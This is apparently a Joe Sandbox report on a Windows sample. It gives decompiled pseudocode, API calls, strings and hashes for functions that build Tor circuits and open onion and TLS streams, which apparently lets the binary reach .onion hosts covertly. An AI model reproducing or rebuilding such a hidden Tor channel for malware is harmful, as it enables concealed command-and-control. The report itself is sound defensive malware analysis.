				E00007FF77FF79BAA1BA8( <  ? _t330 : _t330 - 6, _t295 - 0x49);
				_t35 = _t217 + 2; // 0x2
				_t173 = _t35;
				 *(_t298 + 0x30) = _t173;
				_t305 = "Creating onion stream...\n";
				_t37 = _t217 + 1; // 0x1
				E00007FF77FF79BAA1720(_t37, __edi, 0x9babd010, _t305, _t319);
				_t320 =  *((intOrPtr*)(_t295 - 0x41));
				_t206 =  *((intOrPtr*)(_t295 - 0x39)) - _t320 - 1;
				asm("dec ebp");
				 *((long long*)(_t298 + 0x50)) = _t320;
				 *((long long*)(_t298 + 0x58)) = (_t305 & _t206) + _t320;
				asm("movaps xmm0, [esp+0x50]");
				asm("movdqa [esp+0x50], xmm0");
				r9d =  *(_t295 + 0x77) & 0x0000ffff;
				E00007FF77FF79BAA4C58(0, _t157, _t37, __edi, _t173, __ebp, _t330 - _t330 - 6, _t217,  *((intOrPtr*)( *((intOrPtr*)(_t295 + 0x67)) + 0x38)), _t295 - 0x29, _t292, _t298 + 0x50);
				 *((long long*)(_t298 + 0x38)) =  *_t206;
				 *_t206 =  *((intOrPtr*)(_t298 + 0x38));
				 *((long long*)(_t298 + 0x40)) =  *((intOrPtr*)(_t206 + 8));
				 *((long long*)(_t206 + 8)) =  *((intOrPtr*)(_t298 + 0x40));
				_t136 = E00007FF77FF79BAA6AF4(_t295 - 0x29);
				_t174 = _t173 & 0xfffffffd;
				 *(_t298 + 0x30) = _t174;
				E00007FF77FF79BAA1BDC(_t136, _t295 - 0x49);
				goto 0x9baaeecf;
				E00007FF77FF79BAA1720(1, __edi, 0x9babd010, "Creating stream...\n", _t320);
				asm("movdqa [esp+0x50], xmm6");
				r9d =  *(_t295 + 0x77) & 0x0000ffff;
				E00007FF77FF79BAA49E8(__edi, _t174, _t330 - _t330 - 6, _t217,  *((intOrPtr*)( *((intOrPtr*)(_t295 + 0x67)) + 0x38)), _t295 - 0x29, _t292, _t298 + 0x50, _t320);
				 *((long long*)(_t298 + 0x38)) =  *_t206;
				 *_t206 =  *((intOrPtr*)(_t298 + 0x38));
				 *((long long*)(_t298 + 0x40)) =  *((intOrPtr*)(_t206 + 8));
				 *((long long*)(_t206 + 8)) =  *((intOrPtr*)(_t298 + 0x40));
				E00007FF77FF79BAA6AF4(_t295 - 0x29);
				r13d = 0;
				if ( *((intOrPtr*)(_t298 + 0x38)) == _t330) goto 0x9baaf0ce;
				_t70 = _t330 + 1; // 0x1
				E00007FF77FF79BAA1720(_t70, _t171, 0x9babd010, "Created...\n", _t320);
				_t72 = _t330 + 1; // 0x1
				E00007FF77FF79BAA1720(_t72, _t171, 0x9babd010, "Sending request...\n", _t320);
				asm("xorps xmm0, xmm0");
				asm("movdqu [ebp-0x71], xmm0");
				 *(_t295 - 0x61) = _t330;
				if (r14b == 0) goto 0x9baaefee;
				malloc(_t335);
				 *(_t295 + 0x77) = _t206;
				if (_t206 == 0) goto 0x9baaef56;
				asm("movdqa [esp+0x50], xmm6");
				E00007FF77FF79BAA3BB4(_t206,  *((intOrPtr*)(_t298 + 0x38)), _t298 + 0x50);
				goto 0x9baaef59;
				_t219 = _t330;
				 *(_t295 + 0x77) = _t219;
				 *(_t295 + 0x7f) = _t219;
				 *(_t295 + 0x77) = _t330;
				 *(_t295 + 0x77) = _t330;
				_t81 = _t219 + 0x10; // 0x10
				if (E00007FF77FF79BAA3428(0, _t219, _t81,  *((intOrPtr*)(_t298 + 0x38)), _t290, _t292, _t332, _t326, _t323) != 0x90312) goto 0x9baaef94;
				if (E00007FF77FF79BAA3664(_t219, _t81) < 0) goto 0x9baaef96;
				if (E00007FF77FF79BAA356C(1, _t219, _t81, _t292, _t298 + 0x50, _t289) == 0) goto 0x9baaefeb;
				_t148 = E00007FF77FF79BAA1720(3, _t171, 0x9babd010, "Error while establishing TLS with \'%s\'\n", _t324);
				 *(_t290 + 8) = _t330;
				 *(_t290 + 0x10) = _t330;
				 *(_t290 + 0x18) = _t330;
				_t175 = _t174 | 0x00000001;
				 *(_t298 + 0x30) = _t175;
				E00007FF77FF79BAA1BDC(_t148, _t295 - 0x79);
				if (_t219 == 0) goto 0x9baaf0f2;
				_t207 =  *_t219;
				 *_t207();
				goto 0x9baaf0f2;
				asm("movaps xmm0, [ebp-0x59]");
				asm("movdqa [ebp-0x59], xmm0");
				asm("movdqa [esp+0x50], xmm6");
				 *(_t298 + 0x20) = _t219;
				_t151 = E00007FF77FF79BAA37A4(1, _t219, _t207, _t219, _t295 - 0x29, _t298 + 0x50, _t292, _t295 - 0x59);
				 *((long long*)(_t295 - 0x71)) =  *((intOrPtr*)(_t207 + 8));
				 *((long long*)(_t207 + 8)) =  *((intOrPtr*)(_t295 - 0x71));
				 *((long long*)(_t295 - 0x69)) =  *((intOrPtr*)(_t207 + 0x10));
				 *((long long*)(_t207 + 0x10)) =  *((intOrPtr*)(_t295 - 0x69));
				 *(_t295 - 0x61) =  *((intOrPtr*)(_t207 + 0x18));
				 *((long long*)(_t207 + 0x18)) =  *(_t295 - 0x61);
				E00007FF77FF79BAA1BDC(_t151, _t295 - 0x29);
				asm("dec eax");
				if (( *((intOrPtr*)(_t295 - 0x69)) -  *((intOrPtr*)(_t295 - 0x71)) - 0x00000001 &  ~( *((intOrPtr*)(_t295 - 0x69)) -  *((intOrPtr*)(_t295 - 0x71)))) == 0) goto 0x9baaf07c;
				goto 0x9baaf088;
				E00007FF77FF79BAA1720(2, _t171, 0x9babd010, "Received empty response!\n", _t295 - 0x59);
				 *(_t290 + 8) = _t330;
				 *(_t290 + 0x10) = _t330;
				 *(_t290 + 0x18) = _t330;
				 *(_t290 + 8) =  *((intOrPtr*)(_t295 - 0x71));
				 *((long long*)(_t295 - 0x71)) =  *(_t290 + 8);
				 *(_t290 + 0x10) =  *((intOrPtr*)(_t295 - 0x69));
				 *((long long*)(_t295 - 0x69)) =  *(_t290 + 0x10);
				 *(_t290 + 0x18) =  *(_t295 - 0x61);
				 *(_t295 - 0x61) =  *(_t290 + 0x18);
				goto 0x9baaefbf;
				E00007FF77FF79BAA1720(3, _t171,  *(_t290 + 0x18), "Error while creating the onion stream\n", _t295 - 0x59);
				 *(_t290 + 8) = _t330;
				 *(_t290 + 0x10) = _t330;
				 *(_t290 + 0x18) = _t330;
				 *(_t298 + 0x30) = _t175 | 0x00000001;
				 *(_t295 + 0x7f) = _t330;
				_t155 = E00007FF77FF79BAA6AF4(_t298 + 0x38);
				asm("movaps xmm6, [esp+0xe0]");
				return _t155;
			}

0x7ff79baaec44
0x7ff79baaec44
0x7ff79baaec44
0x7ff79baaec47
0x7ff79baaec4b
0x7ff79baaec5b
0x7ff79baaec5f
0x7ff79baaec66
0x7ff79baaec6e
0x7ff79baaec72
0x7ff79baaec75
0x7ff79baaec7a
0x7ff79baaec7e
0x7ff79baaec90
0x7ff79baaec96
0x7ff79baaec99
0x7ff79baaec9d
0x7ff79baaeca1
0x7ff79baaecb3
0x7ff79baaecbc
0x7ff79baaecc1
0x7ff79baaecc6
0x7ff79baaecde
0x7ff79baaece7
0x7ff79baaeceb
0x7ff79baaecef
0x7ff79baaecf7
0x7ff79baaed0d
0x7ff79baaed17
0x7ff79baaed20
0x7ff79baaed27
0x7ff79baaed29
0x7ff79baaed2c
0x7ff79baaed2e
0x7ff79baaed31
0x7ff79baaed48
0x7ff79baaed4d
0x7ff79baaed50
0x7ff79baaed58
0x7ff79baaed63
0x7ff79baaed6e
0x7ff79baaed72
0x7ff79baaed76
0x7ff79baaed7b
0x7ff79baaed86
0x7ff79baaed95
0x7ff79baaed9d
0x7ff79baaeda3
0x7ff79baaedad
0x7ff79baaedbf
0x7ff79baaedc4
0x7ff79baaedc4
0x7ff79baaedc7
0x7ff79baaedcb
0x7ff79baaedd2
0x7ff79baaeddc
0x7ff79baaede5
0x7ff79baaedec
0x7ff79baaedf3
0x7ff79baaedfc
0x7ff79baaee01
0x7ff79baaee06
0x7ff79baaee0b
0x7ff79baaee11
0x7ff79baaee27
0x7ff79baaee35
0x7ff79baaee3a
0x7ff79baaee46
0x7ff79baaee4b
0x7ff79baaee53
0x7ff79baaee58
0x7ff79baaee5b
0x7ff79baaee63
0x7ff79baaee68
0x7ff79baaee7d
0x7ff79baaee82
0x7ff79baaee88
0x7ff79baaee9e
0x7ff79baaeeac
0x7ff79baaeeb1
0x7ff79baaeebd
0x7ff79baaeec2
0x7ff79baaeeca
0x7ff79baaeecf
0x7ff79baaeede
0x7ff79baaeeeb
0x7ff79baaeeef
0x7ff79baaef00
0x7ff79baaef0b
0x7ff79baaef10
0x7ff79baaef13
0x7ff79baaef18
0x7ff79baaef1f
0x7ff79baaef2a
0x7ff79baaef30
0x7ff79baaef37
0x7ff79baaef39
0x7ff79baaef4c
0x7ff79baaef54
0x7ff79baaef56
0x7ff79baaef59
0x7ff79baaef5d
0x7ff79baaef61
0x7ff79baaef65
0x7ff79baaef69
0x7ff79baaef7c
0x7ff79baaef88
0x7ff79baaef96
0x7ff79baaefae
0x7ff79baaefb3
0x7ff79baaefb7
0x7ff79baaefbb
0x7ff79baaefbf
0x7ff79baaefc2
0x7ff79baaefca
0x7ff79baaefd3
0x7ff79baaefd9
0x7ff79baaefe4
0x7ff79baaefe6
0x7ff79baaefee
0x7ff79baaeff2
0x7ff79baaeff7
0x7ff79baaeffd
0x7ff79baaf00f
0x7ff79baaf01f
0x7ff79baaf023
0x7ff79baaf02f
0x7ff79baaf033
0x7ff79baaf03f
0x7ff79baaf043
0x7ff79baaf04b
0x7ff79baaf05f
0x7ff79baaf06c
0x7ff79baaf07a
0x7ff79baaf088
0x7ff79baaf08d
0x7ff79baaf091
0x7ff79baaf095
0x7ff79baaf0a1
0x7ff79baaf0a5
0x7ff79baaf0b1
0x7ff79baaf0b5
0x7ff79baaf0c1
0x7ff79baaf0c5
0x7ff79baaf0c9
0x7ff79baaf0da
0x7ff79baaf0df
0x7ff79baaf0e3
0x7ff79baaf0e7
0x7ff79baaf0ee
0x7ff79baaf0f2
0x7ff79baaf0fb
0x7ff79baaf103
0x7ff79baaf11e

APIs

memcmp.MSVCRT ref: 00007FF79BAAED20

Part of subcall function 00007FF79BAA1BDC: free.MSVCRT ref: 00007FF79BAA1BF2

Part of subcall function 00007FF79BAA1720: GetCurrentThreadId.KERNEL32 ref: 00007FF79BAA1743
Part of subcall function 00007FF79BAA1720: GetLocalTime.KERNEL32(?,?,?,?,?,00000000,00000002,?,?,00007FF79BAA88EE), ref: 00007FF79BAA1750
Part of subcall function 00007FF79BAA1720: _cwprintf_s_l.LIBCMT ref: 00007FF79BAA1791

malloc.MSVCRT ref: 00007FF79BAAEF2A

Strings

Received empty response!, xrefs: 00007FF79BAAF07C
Response received..., xrefs: 00007FF79BAAF06E
Created..., xrefs: 00007FF79BAAEEE4
Creating stream..., xrefs: 00007FF79BAAEE6A
Creating onion stream..., xrefs: 00007FF79BAAEDCB
Error while establishing TLS with '%s', xrefs: 00007FF79BAAEF9B
https://, xrefs: 00007FF79BAAED19
.onion, xrefs: 00007FF79BAAED5C
Error while creating the onion stream, xrefs: 00007FF79BAAF0CE
Accessing '%s', xrefs: 00007FF79BAAED35
Sending request..., xrefs: 00007FF79BAAEEF9

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: CurrentLocalThreadTime_cwprintf_s_lfreemallocmemcmp
String ID: .onion$Accessing '%s'$Created...$Creating onion stream...$Creating stream...$Error while creating the onion stream$Error while establishing TLS with '%s'$Received empty response!$Response received...$Sending request...$https://
API String ID: 3650025451-2257922318
Opcode ID: 55bce0993745bf6b09c53d0a22be2b80ac90940268b9383f711836bfe30c87a7
Instruction ID: d58aaba7482b9d9a18aad50c5a54faf90ee128a707d9c70f1a6ad6060f27b7fe
Opcode Fuzzy Hash: 55bce0993745bf6b09c53d0a22be2b80ac90940268b9383f711836bfe30c87a7
Instruction Fuzzy Hash: FFE19036A18B8995EB10DFB8E4405EDB3B5FB84784B904136EE8D53B64DF38D259C3A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA66C4 Relevance: 16.7, APIs: 2, Strings: 9, Instructions: 245
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E00007FF77FF79BAA66C4(void* __ebx, void* __ecx, void* __edi, void* __esi, long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, void* __r8, void* __r9, long long __r14, void* __r15) {
				void* _t106;
				signed int _t123;
				void* _t132;
				void* _t134;
				void* _t135;
				intOrPtr* _t140;
				intOrPtr* _t142;
				void* _t147;
				intOrPtr _t150;
				signed char* _t156;
				intOrPtr _t158;
				signed long long _t159;
				long long _t162;
				void* _t208;
				intOrPtr _t209;
				intOrPtr* _t210;
				void* _t213;
				intOrPtr* _t214;
				intOrPtr* _t215;
				void* _t217;
				void* _t218;
				void* _t219;
				long long _t233;
				intOrPtr _t237;

				_t132 = __edi;
				_t147 = _t218;
				_t217 = _t147 - 0x18;
				_t219 = _t218 - 0x110;
				 *((long long*)(_t217 - 0x20)) = 0xfffffffe;
				 *((long long*)(_t147 + 8)) = __rbx;
				 *((long long*)(_t147 + 0x10)) = __rsi;
				 *((long long*)(_t147 + 0x18)) = __rdi;
				 *((long long*)(_t147 + 0x20)) = __r14;
				_t213 = __rdx;
				_t208 = __rcx;
				E00007FF77FF79BAA9F44(_t134, _t147, _t219 + 0x70, __r8, __r8);
				_t162 =  *((intOrPtr*)(_t217 - 0x48)) -  *(_t217 - 0x50);
				r8d =  *(_t217 - 0x60) & 0x000000ff;
				r10d =  *(_t219 + 0x74) & 0x000000ff;
				r11d =  *(_t217 - 0x5e) & 0x0000ffff;
				_t123 =  *(_t219 + 0x70);
				asm("bt edx, 0x1f");
				_t149 =  <  ? " (MSB set)" : 0x9bab391d;
				r9d = _t123;
				asm("inc ecx");
				 *((long long*)(_t219 + 0x48)) = _t162;
				 *(_t219 + 0x40) = r8d;
				 *(_t219 + 0x38) = r10d;
				 *(_t219 + 0x30) = r11d;
				 *(_t219 + 0x28) = _t123;
				 *(_t219 + 0x20) =  <  ? " (MSB set)" : 0x9bab391d;
				E00007FF77FF79BAA1720(0, _t132, 0x9babd010, "tor_socket::recv_cell() [circuit: %i%s [%X], stream: %u, command: %u, relay_command: %u, payload_size: %u]\n", __r9);
				r9d =  *(_t217 - 0x60) & 0x000000ff;
				_t135 = r9d - 9;
				if (_t135 > 0) goto 0x9baa694f;
				if (_t135 == 0) goto 0x9baa6936;
				if (_t135 == 0) goto 0x9baa6921;
				if (_t135 == 0) goto 0x9baa688e;
				if (_t135 == 0) goto 0x9baa6825;
				if (_t135 == 0) goto 0x9baa67c1;
				if (r9d - 0xffffffffffffffff != 2) goto 0x9baa6966;
				E00007FF77FF79BAA5FA0(r9d - 0xffffffffffffffff, _t132, _t162, _t208, _t219 + 0x70, _t213, __r9);
				goto 0x9baa6a76;
				r8d =  *(_t217 - 0x5e) & 0x0000ffff;
				if (r8w != 0) goto 0x9baa67eb;
				 *((long long*)(_t213 + 0x20)) =  *((long long*)(_t213 + 0x20)) + 0x64;
				E00007FF77FF79BAA1720(0, _t132, 0x9babd010, "circuit_node::increment_package_window() [ _package_window = %u ]\n",  *((intOrPtr*)(_t213 + 0x20)));
				goto 0x9baa6a76;
				E00007FF77FF79BAA510C(__esi, _t162, _t208, _t217 - 0x30, _t208, _t213);
				_t237 =  *((intOrPtr*)(_t217 - 0x30));
				if (_t237 == 0) goto 0x9baa681c;
				 *((long long*)(_t237 + 0x20)) =  *((long long*)(_t237 + 0x20)) + 0x32;
				E00007FF77FF79BAA1720(0, _t132, 0x9babd010, "tor_stream::increment_package_window() [ _package_window = %u ]\n",  *((intOrPtr*)(_t237 + 0x20)));
				_t209 =  *((intOrPtr*)(_t217 - 0x28));
				goto 0x9baa68e1;
				r8d =  *(_t217 - 0x5e) & 0x0000ffff;
				E00007FF77FF79BAA510C(__esi, _t162, _t209, _t219 + 0x50, _t209, _t213);
				_t150 =  *((intOrPtr*)(_t219 + 0x50));
				if (_t150 == 0) goto 0x9baa6849;
				 *((intOrPtr*)(_t150 + 0x48)) = 2;
				_t214 =  *((intOrPtr*)(_t219 + 0x58));
				_t140 = _t214;
				if (_t140 == 0) goto 0x9baa6a19;
				asm("lock xadd [esi+0x8], eax");
				if (_t140 != 0) goto 0x9baa6a19;
				 *((intOrPtr*)( *_t214))();
				asm("lock xadd [esi+0xc], eax");
				if (_t140 != 0) goto 0x9baa6a19;
				 *((intOrPtr*)( *_t214 + 8))();
				goto 0x9baa6a19;
				r8d =  *(_t217 - 0x5e) & 0x0000ffff;
				E00007FF77FF79BAA510C(__esi, _t162, _t209, _t219 + 0x60, _t209, _t214);
				if ( *((intOrPtr*)(_t219 + 0x60)) == _t162) goto 0x9baa68dc;
				r9d =  *(_t217 - 0x5e) & 0x0000ffff;
				 *(_t219 + 0x20) =  *( *(_t217 - 0x50)) & 0x000000ff;
				E00007FF77FF79BAA1720(0, _t132, 0x9babd010, "circuit::handle_relay_end_cell() [stream: %u, reason: %u]\n",  *((intOrPtr*)(_t237 + 0x20)));
				E00007FF77FF79BAAB648(_t162,  *((intOrPtr*)(_t219 + 0x60)), _t219 + 0x60, _t209, _t214, 0x9babd010);
				 *((intOrPtr*)(_t209 + 0xc)) = 6;
				_t210 =  *((intOrPtr*)(_t219 + 0x68));
				_t142 = _t210;
				if (_t142 == 0) goto 0x9baa6a76;
				asm("lock xadd [edi+0x8], eax");
				if (_t142 != 0) goto 0x9baa6a76;
				 *((intOrPtr*)( *_t210))();
				asm("lock xadd [edi+0xc], eax");
				if (_t142 != 0) goto 0x9baa6a76;
				 *((intOrPtr*)( *_t210 + 8))();
				goto 0x9baa6a76;
				E00007FF77FF79BAA6080( *( *(_t217 - 0x50)) & 0x000000ff, _t132, __esi, _t162, _t210, _t214, _t210, _t214, _t219 + 0x70, __r15);
				goto 0x9baa6a76;
				E00007FF77FF79BAA1720(3, _t132, 0x9babd010, "circuit::handle_relay_truncated_cell() destroying circuit\n",  *((intOrPtr*)(_t237 + 0x20)));
				goto 0x9baa6a6d;
				if (_t142 == 0) goto 0x9baa69b0;
				if (_t142 == 0) goto 0x9baa6997;
				if (_t142 == 0) goto 0x9baa698b;
				if (r9d - 0xfffffffffffffff7 == 1) goto 0x9baa697f;
				E00007FF77FF79BAA1720(2, _t132, 0x9babd010, "tor_socket::recv_cell() !! unhandled relay cell [ relay_command: %u ]\n",  *((intOrPtr*)(_t237 + 0x20)));
				goto 0x9baa6a76;
				 *((intOrPtr*)(_t210 + 0xc)) = 0xa;
				goto 0x9baa6a76;
				 *((intOrPtr*)(_t210 + 0xc)) = 8;
				goto 0x9baa6a76;
				E00007FF77FF79BAA5FA0(r9d - 0xfffffffffffffff7, _t132, _t162, _t210, _t219 + 0x70, _t214,  *((intOrPtr*)(_t237 + 0x20)));
				 *((intOrPtr*)(_t210 + 0xc)) = 0xc;
				goto 0x9baa6a76;
				_t53 = _t210 + 0x30; // 0x30
				_t215 = _t53;
				if ( *_t215 != _t162) goto 0x9baa69d2;
				_t54 = _t162 + 2; // 0x2
				E00007FF77FF79BAA1720(_t54, _t132, 0x9babd010, "circuit::handle_extended2_cell() extend node is null\n",  *((intOrPtr*)(_t237 + 0x20)));
				goto 0x9baa6a76;
				_t156 =  *(_t217 - 0x50);
				 *((long long*)(_t219 + 0x50)) = _t156 + 2;
				 *((long long*)(_t219 + 0x58)) =  *((intOrPtr*)(_t217 - 0x48)) - _t156 + _t156;
				asm("movaps xmm0, [esp+0x50]");
				asm("movdqa [ebp-0x10], xmm0");
				E00007FF77FF79BAA8E0C(_t162,  *_t215, _t210);
				_t158 =  *_t215;
				if ( *((intOrPtr*)(_t158 + 0x10)) == _t162) goto 0x9baa6a22;
				_t61 = _t210 + 0x38; // 0x38
				E00007FF77FF79BAA6DF0(_t162, _t61, _t215, _t215);
				 *((intOrPtr*)(_t210 + 0xc)) = 4;
				goto 0x9baa6a76;
				_t159 =  *((intOrPtr*)(_t158 + 8));
				_t233 =  *((intOrPtr*)(_t159 + 0x40));
				asm("dec eax");
				 *((long long*)(_t219 + 0x50)) = _t233;
				 *((long long*)(_t219 + 0x58)) = ( *((intOrPtr*)(_t159 + 0x48)) - _t233 - 0x00000001 & _t159) + _t233;
				asm("movaps xmm0, [esp+0x50]");
				asm("movdqa [ebp], xmm0");
				E00007FF77FF79BAA1720(3, _t132, 0x9babd010, "circuit::handle_extended2_cell() extend node [ %s ] has invalid crypto state\n", _t217);
				_t106 = E00007FF77FF79BAA5038(_t162, _t210,  ~( *((intOrPtr*)(_t159 + 0x48)) - _t233), _t215);
				free(??);
				free(??);
				return _t106;
			}

0x7ff79baa66c4
0x7ff79baa66c4
0x7ff79baa66c8
0x7ff79baa66cc
0x7ff79baa66d3
0x7ff79baa66db
0x7ff79baa66df
0x7ff79baa66e3
0x7ff79baa66e7
0x7ff79baa66eb
0x7ff79baa66ee
0x7ff79baa66f9
0x7ff79baa6703
0x7ff79baa6707
0x7ff79baa670c
0x7ff79baa6712
0x7ff79baa6717
0x7ff79baa671b
0x7ff79baa672d
0x7ff79baa6731
0x7ff79baa6734
0x7ff79baa6739
0x7ff79baa673e
0x7ff79baa6743
0x7ff79baa6748
0x7ff79baa674d
0x7ff79baa6751
0x7ff79baa6769
0x7ff79baa676e
0x7ff79baa6773
0x7ff79baa6777
0x7ff79baa677d
0x7ff79baa6789
0x7ff79baa6792
0x7ff79baa679b
0x7ff79baa67a4
0x7ff79baa67a9
0x7ff79baa67b7
0x7ff79baa67bc
0x7ff79baa67c1
0x7ff79baa67ca
0x7ff79baa67cc
0x7ff79baa67e1
0x7ff79baa67e6
0x7ff79baa67f2
0x7ff79baa67f8
0x7ff79baa67ff
0x7ff79baa6801
0x7ff79baa6816
0x7ff79baa681c
0x7ff79baa6820
0x7ff79baa6825
0x7ff79baa6832
0x7ff79baa6838
0x7ff79baa6840
0x7ff79baa6842
0x7ff79baa6849
0x7ff79baa684e
0x7ff79baa6851
0x7ff79baa685c
0x7ff79baa6863
0x7ff79baa686f
0x7ff79baa6873
0x7ff79baa687a
0x7ff79baa6886
0x7ff79baa6889
0x7ff79baa688e
0x7ff79baa689b
0x7ff79baa68a8
0x7ff79baa68b1
0x7ff79baa68b6
0x7ff79baa68c6
0x7ff79baa68d0
0x7ff79baa68d5
0x7ff79baa68dc
0x7ff79baa68e1
0x7ff79baa68e4
0x7ff79baa68ef
0x7ff79baa68f6
0x7ff79baa6902
0x7ff79baa6906
0x7ff79baa690d
0x7ff79baa6919
0x7ff79baa691c
0x7ff79baa692c
0x7ff79baa6931
0x7ff79baa6945
0x7ff79baa694a
0x7ff79baa6955
0x7ff79baa695a
0x7ff79baa695f
0x7ff79baa6964
0x7ff79baa6975
0x7ff79baa697a
0x7ff79baa697f
0x7ff79baa6986
0x7ff79baa698b
0x7ff79baa6992
0x7ff79baa699f
0x7ff79baa69a4
0x7ff79baa69ab
0x7ff79baa69b0
0x7ff79baa69b0
0x7ff79baa69b9
0x7ff79baa69c2
0x7ff79baa69c8
0x7ff79baa69cd
0x7ff79baa69d6
0x7ff79baa69e4
0x7ff79baa69e9
0x7ff79baa69ee
0x7ff79baa69f3
0x7ff79baa69ff
0x7ff79baa6a04
0x7ff79baa6a0b
0x7ff79baa6a0d
0x7ff79baa6a14
0x7ff79baa6a19
0x7ff79baa6a20
0x7ff79baa6a22
0x7ff79baa6a26
0x7ff79baa6a38
0x7ff79baa6a41
0x7ff79baa6a46
0x7ff79baa6a4b
0x7ff79baa6a50
0x7ff79baa6a68
0x7ff79baa6a70
0x7ff79baa6a7a
0x7ff79baa6a85
0x7ff79baa6aa7

APIs

Part of subcall function 00007FF79BAA1720: GetCurrentThreadId.KERNEL32 ref: 00007FF79BAA1743
Part of subcall function 00007FF79BAA1720: GetLocalTime.KERNEL32(?,?,?,?,?,00000000,00000002,?,?,00007FF79BAA88EE), ref: 00007FF79BAA1750
Part of subcall function 00007FF79BAA1720: _cwprintf_s_l.LIBCMT ref: 00007FF79BAA1791

free.MSVCRT ref: 00007FF79BAA6A7A
free.MSVCRT ref: 00007FF79BAA6A85

Strings

circuit::handle_extended2_cell() extend node is null, xrefs: 00007FF79BAA69BB
circuit_node::increment_package_window() [ _package_window = %u ], xrefs: 00007FF79BAA67D5
tor_stream::increment_package_window() [ _package_window = %u ], xrefs: 00007FF79BAA680A
tor_socket::recv_cell() [circuit: %i%s [%X], stream: %u, command: %u, relay_command: %u, payload_size: %u], xrefs: 00007FF79BAA6756
tor_socket::recv_cell() !! unhandled relay cell [ relay_command: %u ], xrefs: 00007FF79BAA6966
circuit::handle_extended2_cell() extend node [ %s ] has invalid crypto state, xrefs: 00007FF79BAA6A59
(MSB set), xrefs: 00007FF79BAA671F
circuit::handle_relay_end_cell() [stream: %u, reason: %u], xrefs: 00007FF79BAA68BA
circuit::handle_relay_truncated_cell() destroying circuit, xrefs: 00007FF79BAA6936

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: free$CurrentLocalThreadTime_cwprintf_s_l
String ID: (MSB set)$circuit::handle_extended2_cell() extend node [ %s ] has invalid crypto state$circuit::handle_extended2_cell() extend node is null$circuit::handle_relay_end_cell() [stream: %u, reason: %u]$circuit::handle_relay_truncated_cell() destroying circuit$circuit_node::increment_package_window() [ _package_window = %u ]$tor_socket::recv_cell() !! unhandled relay cell [ relay_command: %u ]$tor_socket::recv_cell() [circuit: %i%s [%X], stream: %u, command: %u, relay_command: %u, payload_size: %u]$tor_stream::increment_package_window() [ _package_window = %u ]
API String ID: 2601393797-2081185039
Opcode ID: 8f42a9ba824d7fe31e91c81999b5749f9b0e6fd7339120dc2ad1390bf7ef64dc
Instruction ID: 500d90ce9615d3d96cf08f4c6a05a665451034b6dcd595d18d37c3a5f3351ea6
Opcode Fuzzy Hash: 8f42a9ba824d7fe31e91c81999b5749f9b0e6fd7339120dc2ad1390bf7ef64dc
Instruction Fuzzy Hash: 24B1D232A0864A8AE724AB7D95409BDE772FB45B90F808135DB4D17B74DF3CE605CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAAE948 Relevance: 16.0, APIs: 2, Strings: 7, Instructions: 201
COMMON

Download Yara Rule

C-Code - Quality: 52%

			E00007FF77FF79BAAE948(void* __ebp, long long __rbx, void* __rcx, long long __rdx, long long __rdi, long long __rsi, long long __r13) {
				void* __rbp;
				signed int _t223;
				void* _t224;
				void* _t229;
				void* _t241;
				void* _t244;
				void* _t248;
				intOrPtr _t251;
				signed int _t272;
				signed int _t274;
				signed int _t275;
				signed int _t276;
				intOrPtr* _t283;
				intOrPtr* _t290;
				void* _t304;
				long long* _t305;
				signed long long _t308;
				void* _t315;
				signed long long _t330;
				intOrPtr* _t331;
				signed long long _t343;
				intOrPtr _t344;
				signed long long _t345;
				signed short _t347;
				long long _t430;
				long long _t431;
				intOrPtr* _t452;
				signed long long _t456;
				intOrPtr* _t457;
				intOrPtr _t458;
				long long _t459;
				void* _t462;
				intOrPtr _t463;
				void* _t465;
				void* _t466;
				void* _t467;
				void* _t468;
				void* _t469;
				void* _t470;
				void* _t471;
				signed long long _t481;
				signed long long _t486;
				long long _t511;
				void* _t514;
				void* _t515;
				long long _t516;
				long long _t519;
				intOrPtr _t520;
				long long _t523;
				signed short _t524;
				void* _t526;
				void* _t529;
				void* _t532;
				int _t535;
				long long _t536;

				_t304 = _t468;
				_t465 = _t304 - 0x5f;
				_t469 = _t468 - 0xb0;
				 *((long long*)(_t465 - 0x21)) = 0xfffffffe;
				 *((long long*)(_t304 + 8)) = __rbx;
				 *((long long*)(_t304 + 0x10)) = __rsi;
				 *((long long*)(_t304 + 0x18)) = __rdi;
				 *((long long*)(_t304 + 0x20)) = __r13;
				_t519 = __rdx;
				_t462 = __rcx;
				 *((intOrPtr*)(_t465 - 0x29)) = 0;
				_t272 =  *(__rdx + 0x5c) & 0x0000ffff;
				_t251 =  *((intOrPtr*)(__rdx + 0x58));
				if ( *((intOrPtr*)(__rcx + 0x38)) != __rbx) goto 0x9baaeae8;
				__imp__#12();
				E00007FF77FF79BAA1BA8(_t304, _t465 + 7);
				 *((intOrPtr*)(_t465 - 0x29)) = 1;
				_t305 =  *((intOrPtr*)(__rcx + 0x38));
				if (_t305 == 0) goto 0x9baae9ce;
				goto 0x9baae9d1;
				 *(_t469 + 0x30) = _t272;
				 *((long long*)(_t469 + 0x28)) =  *((intOrPtr*)(_t304 + 8));
